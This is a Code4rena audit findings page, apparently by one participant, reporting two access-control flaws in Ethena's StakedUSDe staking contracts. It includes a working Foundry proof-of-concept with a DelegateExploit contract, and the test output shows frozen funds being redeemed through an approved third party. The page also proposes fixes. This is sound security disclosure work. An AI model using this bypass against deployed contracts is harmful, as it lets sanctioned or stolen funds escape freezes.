Platform: Code4rena
Start Date: 24/10/2023
Pot Size: $36,500 USDC
Total HM: 4
Participants: 147
Period: 6 days
Judge: 0xDjango
Id: 299
League: ETH
Rank: 23/147
Findings: 2
Award: $280.94
đ Selected for report: 0
đ Solo Findings: 0
đ Selected for report: josephdara
Also found by: 0xAadi, 0xmystery, 0xpiken, Arz, Beosin, Eeyore, HChang26, J4X, KIntern_NA, Limbooo, RamenPeople, SpicyMeatball, Team_Rocket, Yanchuan, castle_chain, degensec, ge6a, lanrebayode77, mert_eren, sorrynotsorry, tnquanghuy0512
119.1406 USDC - $119.14
The contract in question, StakedUSDe.sol
, is designed to allow users to stake USDe tokens and earn yield. The contract incorporates a role-based restriction mechanism, notably, the FULL_RESTRICTED_STAKER_ROLE
. Addresses assigned these roles face restrictions that prevent them from performing certain actions such as withdrawing staked tokens. However, an observation has been made that these restrictions might not be entirely foolproof.
According to the README##trusted-roles
FULL_RESTRICTED_STAKER_ROLE
 - address with this role can't burn hisÂstUSDe
 tokens to unstake hisÂUSDe
 tokens, neither to transferÂstUSDe
 tokens. His balance can be manipulated by the admin ofÂStakedUSDe
The ERC4626 standard introduces the mechanism of withdrawing and redeeming. Both of these functions revolve around converting shares to assets or vice versa. The core functionality of these functions is abstracted into the _withdraw
function.
The significant line in the _withdraw
function is:
lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC4626.sol#L237-L239:
if (caller != owner) { _spendAllowance(owner, caller, shares); }
This checks if the caller (one invoking the function) is different from the owner (whose shares are being converted). If they differ, it spends the allowance of the owner for the shares, thereby allowing a separate entity (the caller) to trigger a withdrawal or redemption on behalf of the owner.
StakedUSDe
Contract:The StakedUSDe
contract introduces additional restrictions through role-based access:
_beforeTokenTransfer
function, it's evident that:if (hasRole(FULL_RESTRICTED_STAKER_ROLE, from) && to != address(0)) { revert OperationNotAllowed(); }
This means that an address with FULL_RESTRICTED_STAKER_ROLE
can burn its tokens (i.e., to == address(0)
is true). This burning mechanism is leveraged by the redistributeLockedAmount
function where the admin can burn the entirety of a fully restricted addressâs balance.
function redistributeLockedAmount(address from, address to) external onlyRole(DEFAULT_ADMIN_ROLE) { ... _burn(from, amountToDistribute); ... }
The admin can initiate a burn from an address with the FULL_RESTRICTED_STAKER_ROLE
, further reinforcing the intentional design of allowing burns from restricted addresses.
_withdraw
function in StakedUSDe
contract introduces this check:function _withdraw(address caller, address receiver, address _owner, uint256 assets, uint256 shares) internal override { if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) { revert OperationNotAllowed(); } ... }
This function is vital as it highlights that addresses with FULL_RESTRICTED_STAKER_ROLE
cannot withdraw. The issue emerges from the ERC4626's _spendAllowance
mechanism. An address with this role can allow another entity to execute actions on its behalf, effectively sidestepping these checks.
StakedUSDeV2
Contract Implication:The StakedUSDeV2
contract relies on StakedUSDe
for implementing asset transfer restrictions. Notably, StakedUSDeV2
does not have its own set of restrictions for addresses. In functions like cooldownAssets
and cooldownShares
, there's a dependency on the _withdraw
function, which utilizes _msgSender
as the caller in the format: _withdraw(_msgSender(), address(silo), owner, assets, shares);
.
As a consequence, the vulnerability present in the StakedUSDe
contract directly impacts these methods in StakedUSDeV2
, similar to how it affects the primary withdraw
and redeem
functions used in ERC4626.
Fully restricted stakeholders are intended to have limited control over their assets. This limitation acts as a safeguard, reducing potential risks, ensuring trust within the ecosystem, and facilitating administrative procedures. However, with the described exploit, these stakeholders can bypass these controls, enabling the free movement of their assets in direct violation of the system's design.
Furthermore, consider a scenario where assets in the StakedUSDe
contract were previously acquired by an attacker through illicit means, such as another attack where they usurped assets that rightfully belonged to other users. Exploiting this vulnerability would render freezing mechanisms inoperative, amplifying the financial damages and causing more extensive losses for all StakedUSDe
users.
It's noteworthy that this vulnerability not only jeopardizes the prevention of a high-risk scenario but can, in fact, lead to consequences more severe than those the system sought to prevent. As delineated in the README file:
FULL_RESTRCITED_STAKER_ROLE
is intended for sanction/stolen funds, or in cases where there's a directive from law enforcement to freeze specific funds.
Given this context, the potential erosion of trust and platform reputation is profound. This can result in decreased adoption rates, further monetary losses, and could invite legal repercussions.
The vulnerability seems to stem from the way roles and permissions are handled, particularly concerning addresses with the FULL_RESTRICTED_STAKER_ROLE
.
FULL_RESTRICTED_STAKER_ROLE
._withdraw
function of the ERC4626 part, there is a distinction made between the caller and the owner. If the caller is not the owner, allowances are checked and spent using the _spendAllowance
method. However, there is no explicit restriction here to prevent a fully restricted address from being the owner as long as the caller is different.StakedUSDe
contract, which inherits both ERC4626 and ERC20, includes _beforeTokenTransfer
function that restricts token transfers involving addresses with FULL_RESTRICTED_STAKER_ROLE
. However, this restriction might not be comprehensive enough due to the allowance mechanism and the separate handling of caller and owner in the _withdraw
function.redistributeLockedAmount
that allows for the burning of tokens from a fully restricted address and optionally minting them to another address. This could be a pathway to bypass restrictions if not handled with utmost care.An address with the FULL_RESTRICTED_STAKER_ROLE
could potentially exploit the contract by approving another non-restricted address to spend their tokens. Since the _withdraw
function makes a distinction between the caller and the owner, and the restrictions are primarily applied based on the callerâs role, a non-restricted address (caller) might execute a withdrawal on behalf of a fully restricted address (owner), hence bypassing the intended restrictions. Thus, the _beforeTokenTransfer
wont prevent burning since it is used for redistributeLockedAmount
function.
Create a new file under the folder: test/foundry/staking/
, with a good name like StakedUSDe.blacklistExploit.t.sol
.
Copy the below code block into the newly created file.
Run the test with: forge test --match-contract StakedUSDeBlacklistExploitTest -vv
The test cases will fail if the fully restricted account is able to redeem
// SPDX-License-Identifier: MIT pragma solidity >=0.8; import {console} from "forge-std/console.sol"; import "forge-std/Test.sol"; import "../../../contracts/USDe.sol"; import "../../../contracts/StakedUSDe.sol"; import "../../../contracts/interfaces/IUSDe.sol"; import "../../../contracts/interfaces/IERC20Events.sol"; import "../../../contracts/interfaces/ISingleAdminAccessControl.sol"; contract DelegateExploit { StakedUSDe public stakedUSDe; constructor(StakedUSDe _stakedUSDe) { stakedUSDe = _stakedUSDe; } function attemptRedeem(uint256 amount, address beneficiary) external { stakedUSDe.redeem(amount, address(this), beneficiary); IUSDe(stakedUSDe.asset()).transfer(beneficiary, amount); } } contract StakedUSDeBlacklistExploitTest is Test, IERC20Events { USDe public usdeToken; StakedUSDe public stakedUSDe; uint256 public _amount = 100 ether; address public owner; address public alice; address public bob; bytes32 FULL_RESTRICTED_STAKER_ROLE; DelegateExploit delegateExploit; function setUp() public virtual { usdeToken = new USDe(address(this)); alice = makeAddr("alice"); bob = makeAddr("bob"); owner = makeAddr("owner"); usdeToken.setMinter(address(this)); vm.startPrank(owner); stakedUSDe = new StakedUSDe(IUSDe(address(usdeToken)), makeAddr('rewarder'), owner); vm.stopPrank(); FULL_RESTRICTED_STAKER_ROLE = keccak256("FULL_RESTRICTED_STAKER_ROLE"); delegateExploit = new DelegateExploit(stakedUSDe); } function _mintApproveDeposit(address staker, uint256 amount, bool expectRevert) internal { usdeToken.mint(staker, amount); vm.startPrank(staker); usdeToken.approve(address(stakedUSDe), amount); if (expectRevert) { vm.expectRevert(IStakedUSDe.OperationNotAllowed.selector); } stakedUSDe.deposit(amount, staker); vm.stopPrank(); } function _redeem(address staker, uint256 amount, bool expectRevert) internal { vm.startPrank(staker); if (expectRevert) { vm.expectRevert(IStakedUSDe.OperationNotAllowed.selector); } stakedUSDe.redeem(amount, staker, staker); vm.stopPrank(); } function test_fullBlacklist_approval_and_withdrawal_exploit() public { // Mint, approve and deposit tokens for Alice. _mintApproveDeposit(alice, _amount, false); // Alice is full blacklisted. vm.startPrank(owner); stakedUSDe.grantRole(FULL_RESTRICTED_STAKER_ROLE, alice); vm.stopPrank(); // Assert that Alice can't redeem her tokens directly. _redeem(alice, _amount, true); // Now, Alice will try the potential vulnerability. // She approves Bob to spend her tokens. vm.prank(alice); stakedUSDe.approve(bob, _amount); uint256 aliceStakedUSDeBefore = stakedUSDe.balanceOf(alice); uint256 bobUSDeBefore = usdeToken.balanceOf(bob); // Bob initiates a redeem on behalf of Alice. vm.prank(bob); stakedUSDe.redeem(_amount, bob, alice); // Using the possible vulnerability. uint256 aliceStakedUSDeAfter = stakedUSDe.balanceOf(alice); uint256 bobUSDeAfter = usdeToken.balanceOf(bob); // The expected behavior is that Alice can't redeem her tokens, even with Bob acting on her behalf. // However, if the exploit exists, Alice would still have her tokens redeemed. assertEq(aliceStakedUSDeBefore, aliceStakedUSDeAfter, "Exploit Success: Alice was able to redeem tokens despite FULL_RESTRICTED_STAKER_ROLE!"); assertEq(bobUSDeBefore, bobUSDeAfter, "Exploit Success: Bob was able to redeem Alice tokens!"); } function test_fullBlacklist_approval_and_delegate_contract_exploit() public { // Mint, approve and deposit tokens for Alice. _mintApproveDeposit(alice, _amount, false); // Alice is full blacklisted. vm.startPrank(owner); stakedUSDe.grantRole(FULL_RESTRICTED_STAKER_ROLE, alice); vm.stopPrank(); // Assert that Alice can't redeem her tokens directly. _redeem(alice, _amount, true); // Now, Alice will interact with the DelegateExploit contract. vm.prank(alice); stakedUSDe.approve(address(delegateExploit), _amount); uint256 aliceStakedUSDeBefore = stakedUSDe.balanceOf(alice); uint256 aliceUSDeBefore = usdeToken.balanceOf(alice); // Use the exploit contract to try to redeem. delegateExploit.attemptRedeem(_amount, alice); uint256 aliceStakedUSDeAfter = stakedUSDe.balanceOf(alice); uint256 aliceUSDeAfter = usdeToken.balanceOf(alice); // The expected behavior is that Alice can't redeem her tokens, even using the delegate contract. assertEq(aliceStakedUSDeBefore, aliceStakedUSDeAfter, "Exploit Success: Alice was able to redeem tokens despite FULL_RESTRICTED_STAKER_ROLE!"); assertEq(aliceUSDeBefore, aliceUSDeAfter, "Exploit Success: Alice was able to redeem tokens to his address using delegate contract despite FULL_RESTRICTED_STAKER_ROLE!"); } }
⯠forge test --match-contract StakedUSDeBlacklistExploitTest -vv [â ] Compiling... No files changed, compilation skipped Running 2 tests for test/foundry/staking/StakedUSDe.blacklistExploit.t.sol:StakedUSDeBlacklistExploitTest [FAIL. Reason: Assertion failed.] test_fullBlacklist_approval_and_delegate_contract_exploit() (gas: 284572) Logs: Error: Exploit Success: Alice was able to redeem tokens despite FULL_RESTRICTED_STAKER_ROLE! Error: a == b not satisfied [uint] Left: 100000000000000000000 Right: 0 Error: Exploit Success: Alice was able to redeem tokens to his address using delegate contract despite FULL_RESTRICTED_STAKER_ROLE! Error: a == b not satisfied [uint] Left: 0 Right: 100000000000000000000 [FAIL. Reason: Assertion failed.] test_fullBlacklist_approval_and_withdrawal_exploit() (gas: 260905) Logs: Error: Exploit Success: Alice was able to redeem tokens despite FULL_RESTRICTED_STAKER_ROLE! Error: a == b not satisfied [uint] Left: 100000000000000000000 Right: 0 Error: Exploit Success: Bob was able to redeem Alice tokens! Error: a == b not satisfied [uint] Left: 0 Right: 100000000000000000000 Test result: FAILED. 0 passed; 2 failed; 0 skipped; finished in 8.14ms Ran 1 test suites: 0 tests passed, 2 failed, 0 skipped (2 total tests) Failing tests: Encountered 2 failing tests in test/foundry/staking/StakedUSDe.blacklistExploit.t.sol:StakedUSDeBlacklistExploitTest [FAIL. Reason: Assertion failed.] test_fullBlacklist_approval_and_delegate_contract_exploit() (gas: 284572) [FAIL. Reason: Assertion failed.] test_fullBlacklist_approval_and_withdrawal_exploit() (gas: 260905) Encountered a total of 2 failing tests, 0 tests succeeded
Enhance the _withdraw
Function: consider Incorporate checks to see if the owner (whose tokens are impacted) has the FULL_RESTRICTED_STAKER_ROLE
and stop operations, even if the caller and owner differ:
function _withdraw(address caller, address receiver, address _owner, uint256 assets, uint256 shares) internal override nonReentrant notZero(assets) notZero(shares) { - if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) { + if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) + || hasRole(FULL_RESTRICTED_STAKER_ROLE, _owner) + || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) { revert OperationNotAllowed(); }
Access Control
#0 - c4-pre-sort
2023-10-31T16:37:50Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-10-31T16:37:58Z
raymondfam marked the issue as duplicate of #7
#2 - c4-pre-sort
2023-11-01T19:45:15Z
raymondfam marked the issue as duplicate of #666
#3 - c4-judge
2023-11-13T19:34:08Z
fatherGoose1 marked the issue as satisfactory
#4 - c4-judge
2023-11-14T15:20:54Z
fatherGoose1 changed the severity to 2 (Med Risk)
161.7958 USDC - $161.80
The README file states the following regarding SOFT_RESTRICTED_STAKER_ROLE
:
Due to legal requirements, there's a
SOFT_RESTRICTED_STAKER_ROLE
andFULL_RESTRICTED_STAKER_ROLE
. The former is for addresses based in countries we are not allowed to provide yield to, for example, the USA. Addresses under this category will be soft restricted. They cannot deposit USDe to get stUSDe or withdraw stUSDe for USDe. However, they can participate in earning yield by buying and selling stUSDe on the open market.
Upon inspecting the _withdraw
function in the contract, it appears there is no check for SOFT_RESTRICTED_STAKER_ROLE
when attempting a withdrawal. The check only encompasses FULL_RESTRICTED_STAKER_ROLE
.
Code Reference contracts/StakedUSDe.sol#L225-L238:
function _withdraw(address caller, address receiver, address _owner, uint256 assets, uint256 shares) internal override nonReentrant notZero(assets) notZero(shares) { if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) { revert OperationNotAllowed(); } super._withdraw(caller, receiver, _owner, assets, shares); _checkMinShares(); }
This omission could lead to non-compliant actions. Addresses marked with SOFT_RESTRICTED_STAKER_ROLE
are, in essence, not prevented from withdrawing, even though the documentation states otherwise. This can result in potential legal and regulatory violations, putting the platform at risk of facing sanctions, fines, or other penalties.
A test case highlighting the oversight is present in the repository itself, located at:
It seems the original test was designed with the intent of ensuring the redeem
function should revert for soft-blacklisted users. However, this intent seems to have been mistakenly inverted. The function _redeem(alice, _amount, false);
is called where the false
flag indicates that a revert is not expected, contrary to what the README states should happen.
To showcase the vulnerability, the flag can be switched to true
, implying that a revert is expected. Here's how the test should look to align with the intended behavior:
function test_softBlacklist_withdraw_pass() public { _mintApproveDeposit(alice, _amount, false); // Alice gets soft blacklisted vm.startPrank(owner); stakedUSDe.grantRole(SOFT_RESTRICTED_STAKER_ROLE, alice); vm.stopPrank(); // Attempting to redeem should cause a revert due to the soft blacklist _redeem(alice, _amount, true); // The 'true' flag here expects the operation to revert }
This test illustrates that a soft-blacklisted user (Alice, in this case) is not prevented from withdrawing, despite the platform's documented intent.
Consider Implementing a check for SOFT_RESTRICTED_STAKER_ROLE
within the _withdraw
function, ensuring that addresses with this role are not permitted to withdraw. Align the smart contract's logic with the stipulated requirements in the README to maintain compliance and mitigate legal risks.
if (hasRole(SOFT_RESTRICTED_STAKER_ROLE, _owner)) { revert OperationNotAllowed(); }
if the caller
and receiver
addresses are targeted for this matter, consider adding the check for them.
Access Control
#0 - c4-pre-sort
2023-10-31T16:38:30Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-10-31T16:38:42Z
raymondfam marked the issue as duplicate of #52
#2 - c4-judge
2023-11-10T21:42:36Z
fatherGoose1 marked the issue as satisfactory